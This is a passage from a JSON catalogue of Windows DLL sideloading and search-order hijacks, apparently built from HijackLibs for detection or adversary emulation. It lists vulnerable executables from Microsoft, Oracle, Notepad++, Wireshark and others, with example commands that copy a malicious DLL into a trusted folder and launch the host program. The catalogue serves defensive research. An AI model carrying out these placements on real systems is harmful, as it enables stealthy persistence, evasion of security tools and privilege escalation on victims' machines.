    "description": "jli.dll — Sideloading hijacking (Oracle)",
    "execution": {
      "template": "jli.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-jli",
    "name": "jli.dll",
    "namespace": "windows:dllhijack:jli",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://lab52.io/blog/snake-keylogger-in-geopolitical-affairs-abuse-of-trusted-java-utilities-in-cybercrime-operations/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/18e3d1542d9d375f2e1d4631e03e9874fca9a1655ee6d01121d0c94e138be174"
      },
      {
        "label": "Reference",
        "url": "https://securelist.com/apt41-in-africa/116986/"
      },
      {
        "label": "Reference",
        "url": "https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/jli.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious joinutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\joinutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\djoin.exe\\\"\"\n\n# joinutil.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\djoin.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-joinutil.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "joinutil.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "joinutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-joinutil",
    "name": "joinutil.dll",
    "namespace": "windows:dllhijack:joinutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/joinutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious jrtools.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\J River\\\\Media Center %VERSION%\\\\jrtools.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\J River\\\\Media Center %VERSION%\\\\JRService.exe\\\"\"\n\n# jrtools.dll\n\n**Vendor:** JRiver\n\n**Expected Location:** %PROGRAMFILES%\\J River\\Media Center %VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\J River\\Media Center %VERSION%\\JRService.exe (Sideloading)\n\n**Acknowledgement:** Rick Gatenby\n",
    "_source": "windows-dllhijack-jrtools.md",
    "author": "Rick Gatenby",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "jrtools.dll — Sideloading hijacking (JRiver)",
    "execution": {
      "template": "jrtools.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-jrtools",
    "name": "jrtools.dll",
    "namespace": "windows:dllhijack:jrtools",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://ventdrop.github.io/posts/jriver/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/jrtools.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious kdstub.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\kdstub.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\hvax64.exe\\\"\"\n\n# kdstub.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\hvax64.exe (Sideloading)\n- %SYSTEM32%\\hvix64.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-kdstub.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "kdstub.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "kdstub.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-kdstub",
    "name": "kdstub.dll",
    "namespace": "windows:dllhijack:kdstub",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/kdstub.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious keyscramblerie.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\KeyScrambler\\\\keyscramblerie.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\KeyScrambler\\\\KeyScrambler.exe\\\"\"\n\n# keyscramblerie.dll\n\n**Vendor:** QFX\n\n**Expected Location:** %PROGRAMFILES%\\KeyScrambler\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\KeyScrambler\\KeyScrambler.exe (Sideloading)\n\n**Acknowledgement:** Matt Anderson\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-keyscramblerie.md",
    "author": "Matt Anderson - HuntressLabs, Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "keyscramblerie.dll — Sideloading hijacking (QFX)",
    "execution": {
      "template": "keyscramblerie.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-keyscramblerie",
    "name": "keyscramblerie.dll",
    "namespace": "windows:dllhijack:keyscramblerie",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://thehackernews.com/2024/03/two-chinese-apt-groups-ramp-up-cyber.html"
      },
      {
        "label": "Reference",
        "url": "https://csirt-cti.net/2024/02/01/stately-taurus-continued-new-information-on-cyberespionage-attacks-against-myanmar-military-junta/"
      },
      {
        "label": "Reference",
        "url": "https://bazaar.abuse.ch/sample/5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831/"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/Max_Mal_/status/1775222576639291859"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/DTCERT/status/1712785426895839339"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831/details"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/9cfdc3fe2a10fe2b514fc224c9c8740e1de039d90b9c17f85b64ff29d4a4ebb1"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/keyscramblerie.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious krpt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Kingsoft\\\\WPS Office\\\\%VERSION%\\\\office6\\\\krpt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Kingsoft\\\\WPS Office\\\\%VERSION%\\\\office6\\\\wpp.exe\\\"\"\n\n# krpt.dll\n\n**Vendor:** Kingsoft\n\n**Expected Location:** %PROGRAMFILES%\\Kingsoft\\WPS Office\\%VERSION%\\office6\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Kingsoft\\WPS Office\\%VERSION%\\office6\\wpp.exe (Sideloading)\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-krpt.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "krpt.dll — Sideloading hijacking (Kingsoft)",
    "execution": {
      "template": "krpt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-krpt",
    "name": "krpt.dll",
    "namespace": "windows:dllhijack:krpt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/4957a62e019c30c0a79e4d2d4dd854f6e8f6e0aadb606e157525d98ee0ac5096"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/57acd8566e6cc0526e99d0ba450c662b11a5f70b08bcfe0f326654d9f630a1f1"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/krpt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ksuser.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ksuser.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mfpmp.exe\\\"\"\n\n# ksuser.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mfpmp.exe (Sideloading)\n- %SYSTEM32%\\osk.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ksuser.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ksuser.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ksuser.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ksuser",
    "name": "ksuser.dll",
    "namespace": "windows:dllhijack:ksuser",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ksuser.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious ktmw32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ktmw32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ktmutil.exe\\\"\"\n\n# ktmw32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ktmutil.exe (Sideloading)\n- %SYSTEM32%\\msdtc.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\rstrui.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\srtasks.exe (Sideloading)\n- %SYSTEM32%\\wkspbroker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-ktmw32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "ktmw32.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ktmw32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-ktmw32",
    "name": "ktmw32.dll",
    "namespace": "windows:dllhijack:ktmw32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ktmw32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious launcher.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\SQL Developer\\\\ide\\\\bin\\\\launcher.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\SQL Developer\\\\sqldeveloper.exe\\\"\"\n\n# launcher.dll\n\n**Vendor:** Oracle\n\n**Expected Location:** %PROGRAMFILES%\\SQL Developer\\ide\\bin\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\SQL Developer\\sqldeveloper.exe (Search Order)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-launcher.md",
    "author": "Jai Minton",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "launcher.dll — Search Order hijacking (Oracle)",
    "execution": {
      "template": "launcher.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-launcher",
    "name": "launcher.dll",
    "namespace": "windows:dllhijack:launcher",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/c3b48c62b34510e2328b790f9fabed994a91998f36c0c40bcf628b93f40d8ae5/relations"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/launcher.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ldvpocx.ocx.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Symantec_Client_Security\\\\Symantec AntiVirus\\\\ldvpocx.ocx.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Symantec_Client_Security\\\\Symantec AntiVirus\\\\ldvpreg.exe\\\"\"\n\n# ldvpocx.ocx.dll\n\n**Vendor:** Symantec\n\n**Expected Location:** %PROGRAMFILES%\\Symantec_Client_Security\\Symantec AntiVirus\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Symantec_Client_Security\\Symantec AntiVirus\\ldvpreg.exe (Sideloading)\n",
    "_source": "windows-dllhijack-ldvpocx-ocx.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ldvpocx.ocx.dll — Sideloading hijacking (Symantec)",
    "execution": {
      "template": "ldvpocx.ocx.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ldvpocx-ocx",
    "name": "ldvpocx.ocx.dll",
    "namespace": "windows:dllhijack:ldvpocx-ocx",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox"
      },
      {
        "label": "Reference",
        "url": "https://github.com/RedDrip7/APT_Digital_Weapon/blob/master/APT27/APT27_hash.md"
      },
      {
        "label": "Reference",
        "url": "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ldvpocx-ocx.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious libcares-2.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%LOCALAPPDATA%\\\\GitKraken\\\\app-%VERSION%\\\\libcares-2.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"ahost.exe\\\"\"\n\n# libcares-2.dll\n\n**Vendor:** c-ares\n\n**Expected Location:** %LOCALAPPDATA%\\GitKraken\\app-%VERSION%\n\n**Vulnerable Executables:**\n- ahost.exe (Sideloading)\n",
    "_source": "windows-dllhijack-libcares-2.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libcares-2.dll — Sideloading hijacking (c-ares)",
    "execution": {
      "template": "libcares-2.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-libcares-2",
    "name": "libcares-2.dll",
    "namespace": "windows:dllhijack:libcares-2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trellix.com/en-us/blogs/research/hiding-in-plain-sight-multi-actor-ahost-exe-attacks/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/7c41ac7b5bf15e34d50d6abbe28254e94e6c21e0ccab9fa68aca05049a515758"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libcares-2.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious libcef.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\NVIDIA Corporation\\\\NVIDIA GeForce Experience\\\\libcef.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%Program Files\\\"\"\n\n# libcef.dll\n\n**Vendor:** Google\n\n**Expected Location:** %PROGRAMFILES%\\NVIDIA Corporation\\NVIDIA GeForce Experience\n\n**Vulnerable Executables:**\n- %Program Files (x86)\\NVIDIA Corporation\\NVIDIA GeForce Experience\\NVIDA Share.exe (Sideloading)\n\n**Acknowledgement:** Matt Anderson\n",
    "_source": "windows-dllhijack-libcef.md",
    "author": "Matt Anderson - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libcef.dll — Sideloading hijacking (Google)",
    "execution": {
      "template": "libcef.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-libcef",
    "name": "libcef.dll",
    "namespace": "windows:dllhijack:libcef",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/24/c/cve-2024-21412--darkgate-operators-exploit-microsoft-windows-sma.html"
      },
      {
        "label": "Reference",
        "url": "https://analyze.intezer.com/analyses/93e92d7a-9a46-4c1c-8ac0-87b4453beeb8"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/64d0fc47fd77eb300942602a912ea9403960acd4f2ed33a8e325594bf700d65f"
      },
      {
        "label": "Reference",
        "url": "https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libcef.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious libcurl.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Notepad++\\\\updater\\\\libcurl.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Notepad++\\\\updater\\\\GUP.exe\\\"\"\n\n# libcurl.dll\n\n**Vendor:** curl\n\n**Expected Location:** %PROGRAMFILES%\\Notepad++\\updater\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Notepad++\\updater\\GUP.exe (Sideloading)\n- %PROGRAMFILES%\\Coolmuster\\Coolmuster PDF Creator Pro\\%VERSION%\\Bin\\Coolmuster PDF Creator Pro.exe (Sideloading)\n\n**Acknowledgement:** Still Hsu\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-libcurl.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libcurl.dll — Sideloading hijacking (curl)",
    "execution": {
      "template": "libcurl.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "windows-dllhijack-libcurl",
    "name": "libcurl.dll",
    "namespace": "windows:dllhijack:libcurl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/d1e44e4224899cb160a92f4c7f4f042b10ae0ee3fc16bbe457ad32e8b1527ed5"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/dd0c2d79fef0cf5e2d32dcdd661d6ba0a6e9901ffe047fad2d081bbc28daad2c"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libcurl.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious libeay32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\PSPad editor\\\\libeay32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\PSPad editor\\\\PSPad.exe\\\"\"\n\n# libeay32.dll\n\n**Vendor:** PSPad\n\n**Expected Location:** %PROGRAMFILES%\\PSPad editor\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\PSPad editor\\PSPad.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-libeay32.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libeay32.dll — Sideloading hijacking (PSPad)",
    "execution": {
      "template": "libeay32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-libeay32",
    "name": "libeay32.dll",
    "namespace": "windows:dllhijack:libeay32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/cf801023465679ec34084bdb1adb9f54b2fc3130925a4b8fdc10b11639b4a7cd"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/7add49ed95d6a9e90988dcbfc54cdb727e0c705e3d79879717849798354e3e25"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/a13c09f41979df8717a9d39e15e6ce960c1c4ba6af456a563fa3ff1b8b4d388c"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libeay32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious libglib-2.0-0.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Wireshark\\\\libglib-2.0-0.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Wireshark\\\\Mergecap.exe\\\"\"\n\n# libglib-2.0-0.dll\n\n**Vendor:** Wireshark\n\n**Expected Location:** %PROGRAMFILES%\\Wireshark\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Wireshark\\Mergecap.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-libglib-2-0-0.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libglib-2.0-0.dll — Sideloading hijacking (Wireshark)",
    "execution": {
      "template": "libglib-2.0-0.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-libglib-2-0-0",
    "name": "libglib-2.0-0.dll",
    "namespace": "windows:dllhijack:libglib-2-0-0",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/fcb0272d586fff854ce9b329fbbba26902984a112a1afe96a149dbb2011ad289"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libglib-2-0-0.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious libngs.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Sangfor\\\\SSL\\\\RemoteAppClient\\\\\\\\libngs.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Sangfor\\\\SSL\\\\RemoteAppClient\\\\SRAPSession.exe\\\"\"\n\n# libngs.dll\n\n**Vendor:** Sangfor\n\n**Expected Location:** %PROGRAMFILES%\\Sangfor\\SSL\\RemoteAppClient\\\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Sangfor\\SSL\\RemoteAppClient\\SRAPSession.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-libngs.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libngs.dll — Sideloading hijacking (Sangfor)",
    "execution": {
      "template": "libngs.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-libngs",
    "name": "libngs.dll",
    "namespace": "windows:dllhijack:libngs",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securelist.com/honeymyte-updates-coolclient-uses-browser-stealers-and-scripts/118664/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libngs.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious libsmartscreenn.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\WindowsApps\\\\Microsoft.DesktopAppInstaller_%VERSION%_x64__8wekyb3d8bbwe\\\\libsmartscreenn.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\WindowsApps\\\\Microsoft.DesktopAppInstaller_%VERSION%_x64__8wekyb3d8bbwe\\\\AppInstaller.exe\\\"\"\n\n# libsmartscreenn.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\WindowsApps\\Microsoft.DesktopAppInstaller_%VERSION%_x64__8wekyb3d8bbwe\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\WindowsApps\\Microsoft.DesktopAppInstaller_%VERSION%_x64__8wekyb3d8bbwe\\AppInstaller.exe (Sideloading)\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-libsmartscreenn.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libsmartscreenn.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "libsmartscreenn.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "windows-dllhijack-libsmartscreenn",
    "name": "libsmartscreenn.dll",
    "namespace": "windows:dllhijack:libsmartscreenn",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/ead3b69fb1c4a8a7db7d89af55c75820ef76fce0d2fd341d5b2ea61b320f8821"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/ab89866a6c74eaee542e28b9401aa674ff2e7f73547cfa98eb685830d8b94887/relations"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libsmartscreenn.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious libsqlite3-0.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\libsqlite3-0.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\FileZilla FTP Client\\\\filezilla.exe\\\"\"\n\n# libsqlite3-0.dll\n\n**Vendor:** SQLite\n\n**Expected Location:** %PROGRAMFILES%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\FileZilla FTP Client\\filezilla.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-libsqlite3-0.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libsqlite3-0.dll — Sideloading hijacking (SQLite)",
    "execution": {
